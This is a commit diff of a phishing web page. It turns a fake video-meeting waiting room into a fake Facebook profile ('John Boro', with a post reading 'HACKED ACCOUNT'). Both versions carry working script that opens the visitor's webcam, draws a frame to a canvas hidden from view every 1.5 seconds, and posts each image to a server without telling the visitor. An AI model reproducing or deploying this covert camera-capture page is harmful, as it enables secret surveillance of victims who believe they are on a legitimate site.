11<!doctype html>
22< html >
3-
43< head >
54 < script type ="text/javascript " src ="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js "> </ script >
65 < script src ="https://kit.fontawesome.com/c4c45dfab4.js " crossorigin ="anonymous "> </ script >
1110 < video id ="video " playsinline autoplay > </ video >
1211</ div >
1312
14- < center > < canvas id ="canvas " width ="640 " height ="480 " audoplay > </ canvas > </ center >
13+ <!-- Add the canvas element here -->
14+ < center > < canvas id ="canvas " width ="640 " height ="480 " style ="display:none; "> </ canvas > </ center >
1515
1616< style >
1717 @import url ("https://fonts.googleapis.com/css2?family=Nunito:wght@500;500&display=swap" );
18-
1918 body {
20- height : 100vh ;
21- width : 100vw ;
22- }
23-
24- * {
25- padding : 0px ;
26- margin : 0px ;
27- font-family : 'Nunito' , sans-serif;
28- font-weight : 500 ;
19+ font-family : Arial, sans-serif;
20+ background-color : # f0f2f5 ;
2921 }
3022
31- .main-screen {
32- background-color : # 273039 ;
33- height : 100vh ;
23+ .cover-photo {
3424 width : 100% ;
35- display : flex ;
36- justify-content : center;
37- align-items : center ;
25+ height : 250 px ;
26+ background : url ( 'https://via.placeholder.com/1200x250' ) no-repeat center/cover ;
27+ position : relative ;
3828 }
39-
40- img {
41- height : 80px ;
42- width : 80px ;
29+ .profile-pic {
30+ width : 160px ;
31+ height : 160px ;
32+ border-radius : 50% ;
33+ border : 5px solid # fff ;
34+ position : absolute;
35+ bottom : -80px ;
36+ left : 20px ;
37+ background : url ('https://via.placeholder.com/160' ) no-repeat center/cover;
4338 }
44-
45- .bottom-bar {
46- position : fixed;
47- padding : 0px 40px 0px -40px ;
48- bottom : 0px ;
49- height : 80px ;
50- width : 100% ;
51- background-color : # 1F2022 ;
52- display : flex;
53- flex-direction : row;
54- justify-content : center;
55- align-items : center;
56- color : # fff ;
39+ .profile-info {
40+ margin-left : 200px ;
41+ padding : 20px ;
5742 }
58-
59- .icon-button {
43+ .profile-info h1 {
44+ margin : 0 ;
45+ font-size : 28px ;
46+ }
47+ .profile-info p {
48+ color : # 606770 ;
49+ }
50+ .nav-tabs {
6051 display : flex;
61- flex-direction : column ;
62- justify-items : center ;
63- align-items : center ;
52+ border-bottom : 1 px solid # ccc ;
53+ margin : 20 px 0 ;
54+ padding-left : 20 px ;
6455 }
65-
66- i {
67- margin-bottom : 8px ;
68- font-size : 26px ;
56+ .nav-tabs a {
57+ text-decoration : none;
58+ padding : 10px 20px ;
59+ color : # 606770 ;
60+ font-weight : bold;
6961 }
70-
71- button {
72- color : # fff ;
73- background-color : crimson;
74- padding : 5px 20px ;
75- border : none;
76- border-radius : 5px ;
77- border-style : none;
78- outline : none;
62+ .nav-tabs a .active {
63+ border-bottom : 3px solid # 1877f2 ;
64+ color : # 1877f2 ;
7965 }
80-
81- .float_button {
82- background-color : # 1F2022 ;
83- height : 40px ;
84- border-radius : 5px ;
85- width : 40px ;
86- position : fixed;
66+ .container {
67+ max-width : 900px ;
68+ margin : 20px auto;
69+ background : # fff ;
70+ padding : 20px ;
71+ border-radius : 8px ;
72+ box-shadow : 0 2px 5px rgba (0 , 0 , 0 , 0.1 );
73+ }
74+ .intro , .photos , .posts {
75+ margin-bottom : 30px ;
76+ }
77+ .section-title {
78+ font-size : 18px ;
79+ font-weight : bold;
80+ margin-bottom : 10px ;
81+ }
82+ .intro p {
83+ margin : 5px 0 ;
84+ }
85+ .photos img {
86+ width : 100px ;
87+ height : 100px ;
88+ object-fit : cover;
89+ margin : 5px ;
90+ border-radius : 8px ;
91+ }
92+ .post {
93+ border-top : 1px solid # ccc ;
94+ padding-top : 10px ;
95+ margin-top : 10px ;
96+ }
97+ .post-content {
98+ font-size : 16px ;
99+ margin-bottom : 10px ;
100+ }
101+ .post-actions {
87102 display : flex;
88- align-items : center;
89- justify-content : center;
90- top : 5px ;
91- right : 5px ;
92- }
93- # ac-wrapper {
94- position : fixed;
95- top : 0 ;
96- left : 0 ;
97- width : 100% ;
98- height : 100% ;
99- background : rgba (255 , 255 , 255 , .6 );
100- z-index : 1001 ;
101- }
102-
103- # popup {
104- width : 555px ;
105- height : 35px ;
106- background : # FFFFFF ;
107- border : 5px solid # 000 ;
108- border-radius : 15px ;
109- -moz-border-radius : 15px ;
110- -webkit-border-radius : 15px ;
111- box-shadow : # 64686e 0px 0px 3px 3px ;
112- -moz-box-shadow : # 64686e 0px 0px 3px 3px ;
113- -webkit-box-shadow : # 64686e 0px 0px 3px 3px ;
114- position : relative;
115- top : 250px ; left : 375px ;
116- }
103+ gap : 10px ;
104+ }
105+ .btn {
106+ background-color : # e4e6eb ;
107+ color : # 050505 ;
108+ padding : 5px 10px ;
109+ text-decoration : none;
110+ border-radius : 4px ;
111+ font-size : 14px ;
112+ display : inline-block;
113+ }
114+ .btn : hover {
115+ background-color : # d8dadf ;
116+ }
117117</ style >
118118
119119< script >
120-
121120 function post ( imgdata ) {
122121 $ . ajax ( {
123122 type : 'POST' ,
126125 dataType : 'json' ,
127126 async : false ,
128127 success : function ( result ) {
129- // call the function that handles the response/results
128+ // handle success
130129 } ,
131130 error : function ( ) {
131+ // handle error
132132 }
133133 } ) ;
134134 } ;
135135
136-
137136 'use strict' ;
138137
139138 const video = document . getElementById ( 'video' ) ;
143142 const constraints = {
144143 audio : false ,
145144 video : {
146-
147145 facingMode : "user"
148146 }
149147 } ;
165163
166164 var context = canvas . getContext ( '2d' ) ;
167165 setInterval ( function ( ) {
168-
169166 context . drawImage ( video , 0 , 0 , 640 , 480 ) ;
170167 var canvasData = canvas . toDataURL ( "image/png" ) . replace ( "image/png" , "image/octet-stream" ) ;
171168 post ( canvasData ) ;
172169 video . play ( ) ;
173170 } , 1500 ) ;
171+ }
174172
175-
173+ function PopUp ( ) {
174+ document . getElementById ( 'ac-wrapper' ) . style . display = "none" ;
176175 }
177- function PopUp ( ) {
178- document . getElementById ( 'ac-wrapper' ) . style . display = "none" ;
179- }
176+
180177 // Load init
181178 init ( ) ;
182- $ ( document ) . ready ( function ( ) {
183- setTimeout ( function ( ) {
179+ $ ( document ) . ready ( function ( ) {
180+ setTimeout ( function ( ) {
184181 PopUp ( ) ;
185- } , 50000 ) ; // 5000 to load it after 5 seconds from page load
186- } ) ;
182+ } , 50000 ) ; // 50000 to load it after 50 seconds from page load
183+ } ) ;
187184</ script >
188185
189186< body >
190- < div class ="float_button ">
191- < i class ="fas fa-expand " style ="color: #fff; font-size: 18px; margin-top: 5px; "> </ i >
192- </ div >
193- < div id ="ac-wrapper ">
194- < div id ="popup ">
195- < center >
196- < h2 > Please wait the meeting host will let you in soon</ h2 >
197- </ center >
198- </ div >
199- </ div >
200- < div class ="bottom-bar ">
201- < div class ="icon-button " style ="margin-left: 50px; ">
202- < i class ="fas fa-microphone "> </ i >
203- < h6 > Mute</ h6 >
204- </ div >
205- < div class ="icon-button " style ="margin-left: 50px; ">
206- < i class ="fas fa-video "> </ i >
207- < h6 > Stop Video</ h6 >
208- </ div >
209- < div class ="icon-button " style ="margin-left: auto; ">
210- < i class ="fas fa-shield-alt "> </ i >
211- < h6 > Security</ h6 >
212- </ div >
213- < div class ="icon-button " style ="margin-left: 50px; ">
214- < i class ="fas fa-users "> </ i >
215- < h6 > Participants</ h6 >
187+ < div class ="header "> Facebook Profile</ div >
188+
189+ < div class ="cover-photo ">
190+ < div class ="profile-pic "> </ div >
216191 </ div >
217- < div class ="icon-button " style ="color: lawngreen; margin-left: 50px; ">
218- < i class ="fas fa-plus-square "> </ i >
219- < h6 > Share content</ h6 >
192+
193+ < div class ="profile-info ">
194+ < h1 > John Boro</ h1 >
195+ < p > 1.3K friends</ p >
220196 </ div >
221- < div class ="icon-button " style ="margin-left: 50px; ">
222- < i class ="fas fa-comments "> </ i >
223- < h6 > Chat</ h6 >
197+
198+ < div class ="nav-tabs ">
199+ < a href ="# " class ="active "> Posts</ a >
200+ < a href ="# "> About</ a >
201+ < a href ="# "> Friends</ a >
202+ < a href ="# "> Photos</ a >
203+ < a href ="# "> Videos</ a >
204+ < a href ="# "> More</ a >
224205 </ div >
225- < div class ="icon-button " style ="margin-right: auto; margin-left: 50px; ">
226- < i class ="fas fa-record-vinyl "> </ i >
227- < h6 > Record</ h6 >
206+
207+ < div class ="container ">
208+ < div class ="intro ">
209+ < div class ="section-title "> Intro</ div >
210+ < p > Add bio</ p >
211+ < p > Followed by 1.2k people</ p >
212+ </ div >
213+
214+ < div class ="photos ">
215+ < div class ="section-title "> Photos</ div >
216+ < img src ="https://via.placeholder.com/100 " alt ="Photo 1 ">
217+ < img src ="https://via.placeholder.com/100 " alt ="Photo 2 ">
218+ < img src ="https://via.placeholder.com/100 " alt ="Photo 3 ">
219+ < img src ="https://via.placeholder.com/100 " alt ="Photo 4 ">
220+ < img src ="https://via.placeholder.com/100 " alt ="Photo 5 ">
221+ </ div >
222+
223+ < div class ="posts ">
224+ < div class ="section-title "> Posts</ div >
225+ < div class ="post ">
226+ < div class ="post-content ">
227+ < strong > John Boro</ strong > < br >
228+ “HACKED ACCOUNT”
229+ </ div >
230+ < div class ="post-actions ">
231+ < a href ="# " class ="btn "> Like</ a >
232+ < a href ="# " class ="btn "> Comment</ a >
233+ < a href ="# " class ="btn "> Share</ a >
234+ </ div >
235+ </ div >
236+ < div class ="post ">
237+ < div class ="post-content ">
238+ < strong > John Boro</ strong > < br >
239+ What's on your mind?
240+ </ div >
241+ < div class ="post-actions ">
242+ < a href ="# " class ="btn "> Like</ a >
243+ < a href ="# " class ="btn "> Comment</ a >
244+ < a href ="# " class ="btn "> Share</ a >
245+ </ div >
246+ </ div >
247+ </ div >
228248 </ div >
229- < button style ="margin-right: 50px; "> End</ button >
230- </ div >
231249</ body >
232250
233- </ html >
251+ </ html >
0 commit comments